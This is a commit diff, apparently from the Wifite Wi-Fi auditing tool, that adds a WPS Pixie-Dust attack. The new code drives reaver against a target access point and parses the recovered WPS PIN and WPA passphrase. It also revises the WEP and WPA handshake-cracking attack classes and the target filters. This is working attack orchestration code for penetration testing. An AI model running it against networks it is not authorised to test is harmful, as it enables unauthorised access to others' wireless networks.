WPS PixieDust attack support
Fixed encryption filtering. More WPS-specific configurations. Various fixes.
This commit is contained in:
36
Wifite.py
36
Wifite.py
@@ -1,37 +1,63 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from py.Configuration import Configuration
|
||||
from py.Scanner import Scanner
|
||||
from py.Color import Color
|
||||
from py.AttackWEP import AttackWEP
|
||||
from py.AttackWPA import AttackWPA
|
||||
from py.AttackWPS import AttackWPS
|
||||
|
||||
class Wifite(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def run(self):
|
||||
'''
|
||||
Main program.
|
||||
1) Scans for targets, asks user to select targets
|
||||
2) Attacks each target
|
||||
'''
|
||||
s = Scanner()
|
||||
targets = s.select_targets()
|
||||
for t in targets:
|
||||
Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})'
|
||||
% (t.bssid, t.essid))
|
||||
# TODO: Check if Configuration says to attack certain encryptions.
|
||||
if 'WEP' in t.encryption:
|
||||
if 'WEP' in t.encryption: # TODO: and configuration.use_wep
|
||||
attack = AttackWEP(t)
|
||||
attack.run()
|
||||
elif 'WPA' in t.encryption:
|
||||
# TODO: Check if WPS, attack WPS
|
||||
if t.wps: # TODO: and Configuration.use_wps
|
||||
attack = AttackWPS(t)
|
||||
if attack.run():
|
||||
# We cracked it.
|
||||
break
|
||||
else: # TODO: and Configuration.use_wpa
|
||||
# WPS failed, try WPA handshake.
|
||||
attack = AttackWPA(t)
|
||||
attack.run()
|
||||
else: # TODO: and Configuration.use_wpa
|
||||
# Not using WPS, try WPA handshake.
|
||||
attack = AttackWPA(t)
|
||||
attack.run()
|
||||
else:
|
||||
# TODO: Error: Can't attack - encryption not WEP or WPA
|
||||
pass
|
||||
|
||||
# TODO: if attack.successful:
|
||||
# TODO: Save attack.crack_result
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
w = Wifite()
|
||||
try:
|
||||
w.run()
|
||||
except Exception, e:
|
||||
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
|
||||
#from traceback import format_exc
|
||||
#format_exc().replace('\n', '\n ')
|
||||
from traceback import format_exc
|
||||
print '\n '
|
||||
print format_exc().replace('\n', '\n ')
|
||||
except KeyboardInterrupt:
|
||||
Color.pl('\n{!} {O}interrupted{W}')
|
||||
Configuration.exit_gracefully(0)
|
||||
|
||||
|
||||
@@ -124,12 +124,14 @@ class Airodump(object):
|
||||
|
||||
# Parse the .CSV file
|
||||
targets = Airodump.get_targets_from_csv(csv_filename)
|
||||
targets = Airodump.filter_targets(targets, wep=True, wpa=True, opn=False)
|
||||
|
||||
# Check targets for WPS
|
||||
capfile = csv_filename[:-3] + 'cap'
|
||||
Wash.check_for_wps_and_update_targets(capfile, targets)
|
||||
|
||||
# Filter targets based on encryption
|
||||
targets = Airodump.filter_targets(targets)
|
||||
|
||||
# Sort by power
|
||||
targets.sort(key=lambda x: x.power, reverse=True)
|
||||
|
||||
@@ -189,15 +191,18 @@ class Airodump(object):
|
||||
return targets
|
||||
|
||||
@staticmethod
|
||||
def filter_targets(targets, wep=True, wpa=True, opn=False):
|
||||
''' Filters targets based on encryption '''
|
||||
def filter_targets(targets):
|
||||
''' Filters targets based on encryption defined in Configuration '''
|
||||
result = []
|
||||
for target in targets:
|
||||
if wep and 'WEP' in target.encryption:
|
||||
if 'WEP' in Configuration.encryption_filter and \
|
||||
'WEP' in target.encryption:
|
||||
result.append(target)
|
||||
elif wpa and 'WPA' in target.encryption:
|
||||
elif 'WPA' in Configuration.encryption_filter and \
|
||||
'WPA' in target.encryption:
|
||||
result.append(target)
|
||||
elif opn and 'OPN' in target.encryption:
|
||||
elif 'WPS' in Configuration.encryption_filter and \
|
||||
target.wps:
|
||||
result.append(target)
|
||||
return result
|
||||
|
||||
|
||||
@@ -31,8 +31,8 @@ class Arguments(object):
|
||||
wep = parser.add_argument_group('WEP-RELATED')
|
||||
wep.add_argument('--wep',
|
||||
action='store_true',
|
||||
dest='wep_only',
|
||||
help='Only target WEP-encrypted networks (ignores WPA)')
|
||||
dest='wep_filter',
|
||||
help='Only show WEP-encrypted networks')
|
||||
wep.add_argument('--require-fakeauth',
|
||||
action='store_true',
|
||||
dest='require_fakeauth',
|
||||
@@ -42,15 +42,23 @@ class Arguments(object):
|
||||
wpa = parser.add_argument_group('WPA-RELATED')
|
||||
wpa.add_argument('--wpa',
|
||||
action='store_true',
|
||||
dest='wpa_only',
|
||||
help='Only target WPA-encrypted networks (ignores WEP)')
|
||||
dest='wpa_filter',
|
||||
help='Only show WPA-encrypted networks')
|
||||
|
||||
# WPS
|
||||
wps = parser.add_argument_group('WPS-RELATED')
|
||||
wps.add_argument('--wps',
|
||||
action='store_true',
|
||||
dest='wps_only',
|
||||
help='Only target WPS-encrypted networks (ignores WEP/nonWPS)')
|
||||
dest='wps_filter',
|
||||
help='Only show WPA networks with WPS enabled')
|
||||
wps.add_argument('--reaver',
|
||||
action='store_true',
|
||||
dest='reaver_only',
|
||||
help='Only use Reaver on WPS networks (no handshake attack)')
|
||||
wps.add_argument('--no-reaver',
|
||||
action='store_true',
|
||||
dest='no_reaver',
|
||||
help='Do NOT use Reaver on WPS networks (handshake only)')
|
||||
wps.add_argument('--pixie',
|
||||
action='store_true',
|
||||
dest='pixie_only',
|
||||
|
||||
@@ -21,11 +21,13 @@ class AttackWEP(Attack):
|
||||
def __init__(self, target):
|
||||
super(AttackWEP, self).__init__(target)
|
||||
self.crack_result = None
|
||||
self.success = False
|
||||
|
||||
def run(self):
|
||||
'''
|
||||
Initiates full WEP attack.
|
||||
Including airodump-ng starting, cracking, etc.
|
||||
Returns: True if attack is succesful, false otherwise
|
||||
'''
|
||||
# First, start Airodump process
|
||||
with Airodump(channel=self.target.channel,
|
||||
@@ -95,7 +97,8 @@ class AttackWEP(Attack):
|
||||
hex_key, \
|
||||
ascii_key)
|
||||
self.crack_result.dump()
|
||||
return True
|
||||
self.success = True
|
||||
return self.success
|
||||
|
||||
if aircrack and aircrack.is_running():
|
||||
# Aircrack is running in the background.
|
||||
@@ -139,9 +142,9 @@ class AttackWEP(Attack):
|
||||
# XXX: For debugging
|
||||
Color.pl('\n%s stopped, output:' % attack_name)
|
||||
Color.pl(aireplay.get_output())
|
||||
break
|
||||
continue # Continue to other attacks
|
||||
|
||||
# If .xor exists, run packetforge-ng to create .cap
|
||||
# TODO: If .xor exists, run packetforge-ng to create .cap
|
||||
# If packetforge created the replay .cap file,
|
||||
# 1. Change attack_name to 'forged arp replay'
|
||||
# 2. Start Aireplay to replay the .cap file
|
||||
@@ -149,7 +152,7 @@ class AttackWEP(Attack):
|
||||
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
||||
Color.pl('\naireplay.get_output():')
|
||||
Color.pl(aireplay.get_output())
|
||||
break
|
||||
continue # Continue to other attacks
|
||||
|
||||
# Check if IVs stopped flowing (same for > N seconds)
|
||||
if airodump_target.ivs > previous_ivs:
|
||||
@@ -170,6 +173,12 @@ class AttackWEP(Attack):
|
||||
|
||||
time.sleep(1)
|
||||
continue
|
||||
# End of big while loop
|
||||
# End of for-each-attack-type loop
|
||||
# End of with-airodump
|
||||
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
|
||||
def fake_auth(self):
|
||||
|
||||
@@ -17,6 +17,7 @@ class AttackWPA(Attack):
|
||||
def __init__(self, target):
|
||||
super(AttackWPA, self).__init__(target)
|
||||
self.crack_result = None
|
||||
self.success = False
|
||||
|
||||
def run(self):
|
||||
'''
|
||||
@@ -104,8 +105,8 @@ class AttackWPA(Attack):
|
||||
|
||||
if not handshake:
|
||||
# No handshake, attack failed.
|
||||
raise Exception('Handshake not captured')
|
||||
return False
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
key = None
|
||||
|
||||
@@ -158,7 +159,8 @@ class AttackWPA(Attack):
|
||||
|
||||
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
|
||||
self.crack_result.dump()
|
||||
return True
|
||||
self.success = True
|
||||
return self.success
|
||||
|
||||
|
||||
def save_handshake(self, handshake):
|
||||
|
||||
198
py/AttackWPS.py
198
py/AttackWPS.py
@@ -1,13 +1,209 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from Attack import Attack
|
||||
from Color import Color
|
||||
from Configuration import Configuration
|
||||
from CrackResultWPS import CrackResultWPS
|
||||
from Process import Process
|
||||
|
||||
import os
|
||||
import time
|
||||
import re
|
||||
|
||||
class AttackWPS(Attack):
|
||||
def __init__(self, target):
|
||||
super(AttackWPS, self).__init__(target)
|
||||
self.success = False
|
||||
|
||||
def run(self):
|
||||
raise Exception("TODO: Crack WPS")
|
||||
''' Run all WPS-related attacks '''
|
||||
|
||||
# Drop out if user specified to not user Reaver
|
||||
if Configuration.no_reaver:
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
# Run Pixie-Dust attack
|
||||
if self.is_pixiedust_supported():
|
||||
if self.run_pixiedust_attack():
|
||||
# Pixie-Dust attack succeeded. We're done.
|
||||
self.success = True
|
||||
return self.success
|
||||
else:
|
||||
Color.pl(
|
||||
'{!} {R}your version of "reaver" does not' +
|
||||
' support the {O}WPS pixie-dust attack{W}')
|
||||
|
||||
if Configuration.pixie_only:
|
||||
Color.pl('{!} {O}--pixie-only{R} set, ignoring WPS-PIN attack{W}')
|
||||
self.success = False
|
||||
else:
|
||||
# Run WPS-PIN attack
|
||||
self.success = self.run_wps_pin_attack()
|
||||
return self.success
|
||||
|
||||
|
||||
def is_pixiedust_supported(self):
|
||||
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
|
||||
output = Process(['reaver', '-h']).stderr()
|
||||
return '--pixie-dust' in output
|
||||
|
||||
def run_pixiedust_attack(self):
|
||||
# Write reaver stdout to file.
|
||||
self.stdout_file = Configuration.temp('reaver.out')
|
||||
if os.path.exists(self.stdout_file):
|
||||
os.remove(self.stdout_file)
|
||||
|
||||
command = [
|
||||
'reaver',
|
||||
'-i', Configuration.interface,
|
||||
'-b', self.target.bssid,
|
||||
'-c', self.target.channel,
|
||||
'-K', '1', # pixie-dust attack
|
||||
'-a', # Automatically restart session
|
||||
'-vv' # (very) verbose
|
||||
]
|
||||
|
||||
stdout_write = open(self.stdout_file, 'a')
|
||||
|
||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||
|
||||
pin = None
|
||||
step = '0) initializing'
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
Color.clear_line()
|
||||
Color.p('\r{+} {C}WPS pixiedust attack{W}: ')
|
||||
|
||||
stdout_write.flush()
|
||||
|
||||
# Check output from reaver process
|
||||
stdout = self.get_stdout()
|
||||
stdout_last_line = stdout.split('\n')[-1]
|
||||
|
||||
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
|
||||
|
||||
# Check if we cracked it, or if process stopped.
|
||||
if (pin and psk and ssid) or reaver.poll() != None:
|
||||
reaver.interrupt()
|
||||
|
||||
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
|
||||
stdout = self.get_stdout()
|
||||
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
|
||||
|
||||
# Check if we cracked it.
|
||||
if pin and psk and ssid:
|
||||
# We cracked it.
|
||||
bssid = self.target.bssid
|
||||
Color.pl('{G}success{W}\n')
|
||||
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
|
||||
self.crack_result.dump()
|
||||
self.success = True
|
||||
else:
|
||||
# Failed to crack, reaver proces ended.
|
||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||
self.success = False
|
||||
break
|
||||
|
||||
# Status updates, depending on last line of stdout
|
||||
if 'Waiting for beacon from' in stdout_last_line:
|
||||
step = '(step 1/8) initialized, waiting for beacon to associate'
|
||||
elif 'Associated with' in stdout_last_line:
|
||||
step = '(step 2/8) associated, waiting to start session'
|
||||
elif 'Starting Cracking Session.' in stdout_last_line:
|
||||
step = '(step 3/8) started session, waiting to try pin'
|
||||
elif 'Trying pin' in stdout_last_line:
|
||||
step = '(step 4/8) trying pin'
|
||||
elif 'Sending EAPOL START request' in stdout_last_line:
|
||||
step = '(step 5/8) sending eapol start request'
|
||||
elif 'Sending identity response' in stdout_last_line:
|
||||
step = '(step 6/8) sending identity response'
|
||||
elif 'Sending M2 message' in stdout_last_line:
|
||||
step = '(step 7/8) sending m2 message (may take a while)'
|
||||
elif 'Detected AP rate limiting,' in stdout_last_line:
|
||||
step = '(step 0/8) waiting for AP rate limit'
|
||||
|
||||
if 'WPS pin not found' in stdout:
|
||||
# Attack failed; PIN not found.
|
||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||
reaver.interrupt()
|
||||
return False
|
||||
|
||||
fail_count = stdout.count('WPS transaction failed')
|
||||
timeout_count = stdout.count('Receive timeout occurred')
|
||||
|
||||
# Display status of Pixie-Dust attack
|
||||
Color.p('{W}%s{W}' % step)
|
||||
|
||||
continue
|
||||
|
||||
reaver.interrupt()
|
||||
stdout_write.close()
|
||||
return self.success
|
||||
|
||||
|
||||
@staticmethod
|
||||
def get_pin_psk_ssid(stdout):
|
||||
''' Parses WPS PIN, PSK, and SSID from output '''
|
||||
pin = psk = ssid = None
|
||||
|
||||
# Check for PIN.
|
||||
# PIN: Printed *before* the attack completes.
|
||||
regex = re.search('WPS pin: *([0-9]*)', stdout)
|
||||
if regex:
|
||||
pin = regex.groups()[0]
|
||||
# PIN: Printed when attack is completed.
|
||||
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
|
||||
if regex:
|
||||
pin = regex.groups()[0]
|
||||
|
||||
# Check for PSK.
|
||||
regex = re.search("WPA PSK: *'(.+)'", stdout)
|
||||
if regex:
|
||||
psk = regex.groups()[0]
|
||||
|
||||
# Check for SSID
|
||||
regex = re.search("AP SSID: *'(.+)'", stdout)
|
||||
if regex:
|
||||
ssid = regex.groups()[0]
|
||||
|
||||
return (pin, psk, ssid)
|
||||
|
||||
|
||||
def run_wps_pin_attack(self):
|
||||
# TODO Implement
|
||||
return False
|
||||
|
||||
def get_stdout(self):
|
||||
''' Gets output from stdout_file '''
|
||||
if not self.stdout_file:
|
||||
return ''
|
||||
f = open(self.stdout_file, 'r')
|
||||
stdout = f.read()
|
||||
f.close()
|
||||
return stdout.strip()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
stdout = '''
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] Pixiewps 1.1
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|
||||
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|
||||
[Pixie-Dust] [+] WPS pin: 12345678
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] [*] Time taken: 0 s
|
||||
[Pixie-Dust]
|
||||
Running reaver with the correct pin, wait ...
|
||||
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
|
||||
|
||||
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
|
||||
[Reaver Test] Channel: 11
|
||||
[Reaver Test] [+] WPS PIN: '12345678'
|
||||
[Reaver Test] [+] WPA PSK: 'Test PSK'
|
||||
[Reaver Test] [+] AP SSID: 'Test Router'
|
||||
'''
|
||||
print AttackWPS.get_pin_psk_ssid(stdout)
|
||||
pass
|
||||
|
||||
@@ -2,6 +2,16 @@
|
||||
|
||||
import os
|
||||
|
||||
'''
|
||||
--wep : Target WEP networks
|
||||
--wpa : Target WPA networks
|
||||
--wps : Target WPS networks
|
||||
^ Can be combined
|
||||
|
||||
--no-reaver : Do not use reaver on WPS networks
|
||||
--reaver : Only use reaver on WPS networks
|
||||
'''
|
||||
|
||||
class Configuration(object):
|
||||
''' Stores configuration variables for Wifite. '''
|
||||
|
||||
@@ -28,8 +38,10 @@ class Configuration(object):
|
||||
Configuration.target_bssid = None # User-defined AP BSSID
|
||||
Configuration.pillage = False # "All" mode to attack everything
|
||||
|
||||
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
|
||||
|
||||
# WEP variables
|
||||
Configuration.wep_only = False # Only attack WEP networks
|
||||
Configuration.wep_filter = False # Only attack WEP networks
|
||||
Configuration.wep_pps = 600 # Packets per second
|
||||
Configuration.wep_timeout = 600 # Seconds to wait before failing
|
||||
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
|
||||
@@ -44,11 +56,10 @@ class Configuration(object):
|
||||
Configuration.wep_caffelatte = True
|
||||
Configuration.wep_p0841 = True
|
||||
Configuration.wep_hirte = True
|
||||
# Number of IVS at which we start cracking
|
||||
Configuration.wep_crack_at_ivs = 10000
|
||||
Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
|
||||
|
||||
# WPA variables
|
||||
Configuration.wpa_only = False # Only attack WPA networks
|
||||
Configuration.wpa_filter = False # Only attack WPA networks
|
||||
Configuration.wpa_deauth_timeout = 10 # Wait time between deauths
|
||||
Configuration.wpa_attack_timeout = 500 # Wait time before failing
|
||||
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
|
||||
@@ -65,10 +76,14 @@ class Configuration(object):
|
||||
break
|
||||
|
||||
# WPS variables
|
||||
Configuration.wps_only = False # Only attack WPS networks
|
||||
Configuration.pixie_only = False # Only use Pixie attack on WPS
|
||||
Configuration.wps_filter = False # Only attack WPS networks
|
||||
Configuration.no_reaver = False # Do not use Reaver on WPS networks
|
||||
Configuration.reaver = False # ONLY use Reaver on WPS networks
|
||||
Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS
|
||||
Configuration.wps_timeout = 600 # Seconds to wait before failing
|
||||
Configuration.wps_max_retries = 20 # Retries before failing
|
||||
Configuration.fail_threshold = 30 # Max number of failures
|
||||
Configuration.timeout_threshold = 30 # Max number of timeouts
|
||||
|
||||
# Overwrite config values with arguments (if defined)
|
||||
Configuration.load_from_arguments()
|
||||
@@ -81,13 +96,26 @@ class Configuration(object):
|
||||
''' Sets configuration values based on Argument.args object '''
|
||||
if args.channel: Configuration.target_channel = args.channel
|
||||
if args.interface: Configuration.interface = args.interface
|
||||
if args.wep_only: Configuration.wep_only = args.wep_only
|
||||
if args.wpa_only: Configuration.wpa_only = args.wpa_only
|
||||
if args.wps_only: Configuration.wps_only = args.wps_only
|
||||
if args.wep_filter: Configuration.wep_filter = args.wep_filter
|
||||
if args.wpa_filter: Configuration.wpa_filter = args.wpa_filter
|
||||
if args.wps_filter: Configuration.wps_filter = args.wps_filter
|
||||
if args.no_reaver: Configuration.no_reaver = args.no_reaver
|
||||
if args.reaver_only: Configuration.reaver_only = args.reaver_only
|
||||
if args.pixie_only: Configuration.pixie_only = args.pixie_only
|
||||
if args.wordlist: Configuration.wordlist = args.wordlist
|
||||
if args.require_fakeauth: Configuration.require_fakeauth = False
|
||||
|
||||
# Adjust encryption filter
|
||||
if Configuration.wep_filter or \
|
||||
Configuration.wpa_filter or \
|
||||
Configuration.wps_filter:
|
||||
# Reset filter
|
||||
Configuration.encryption_filter = []
|
||||
|
||||
if Configuration.wep_filter: Configuration.encryption_filter.append('WEP')
|
||||
if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA')
|
||||
if Configuration.wps_filter: Configuration.encryption_filter.append('WPS')
|
||||
|
||||
if Configuration.interface == None:
|
||||
# Interface wasn't defined, select it!
|
||||
from Airmon import Airmon
|
||||
|
||||
26
py/CrackResultWPS.py
Normal file
26
py/CrackResultWPS.py
Normal file
@@ -0,0 +1,26 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from Color import Color
|
||||
|
||||
import time
|
||||
|
||||
class CrackResultWPS(object):
|
||||
def __init__(self, bssid, essid, pin, psk):
|
||||
self.bssid = bssid
|
||||
self.essid = essid
|
||||
self.pin = pin
|
||||
self.psk = psk
|
||||
self.time = time.time()
|
||||
|
||||
def dump(self):
|
||||
if self.essid:
|
||||
Color.pl('{+} ESSID: {C}%s{W}' % self.essid)
|
||||
Color.pl('{+} BSSID: {C}%s{W}' % self.bssid)
|
||||
Color.pl('{+} Encryption: {C}WPA{W} ({C}WPS{W})')
|
||||
Color.pl('{+} WPS PIN: {G}%s{W}' % self.pin)
|
||||
Color.pl('{+} PSK/Password: {G}%s{W}' % self.psk)
|
||||
|
||||
if __name__ == '__main__':
|
||||
crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk')
|
||||
crw.dump()
|
||||
|
||||
@@ -35,7 +35,7 @@ class Process(object):
|
||||
return True
|
||||
|
||||
|
||||
def __init__(self, command, devnull=False):
|
||||
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE):
|
||||
''' Starts executing command '''
|
||||
|
||||
if type(command) == str:
|
||||
@@ -50,8 +50,8 @@ class Process(object):
|
||||
sout = Process.devnull()
|
||||
serr = Process.devnull()
|
||||
else:
|
||||
sout = PIPE
|
||||
serr = PIPE
|
||||
sout = stdout
|
||||
serr = stderr
|
||||
|
||||
self.start_time = time.time()
|
||||
|
||||
|
||||
@@ -34,6 +34,9 @@ class Scanner(object):
|
||||
"Command ran: %s"
|
||||
% ' '.join(airodump.pid.command))
|
||||
|
||||
self.targets = airodump.get_targets()
|
||||
self.print_targets()
|
||||
|
||||
target_count = len(self.targets)
|
||||
client_count = sum(
|
||||
[len(t.clients)
|
||||
@@ -44,8 +47,6 @@ class Scanner(object):
|
||||
' {G}%d{W} clients.' % client_count +
|
||||
' {O}Ctrl+C{W} when ready')
|
||||
sleep(1)
|
||||
self.targets = airodump.get_targets()
|
||||
self.print_targets()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
|
||||
Reference in New Issue
Block a user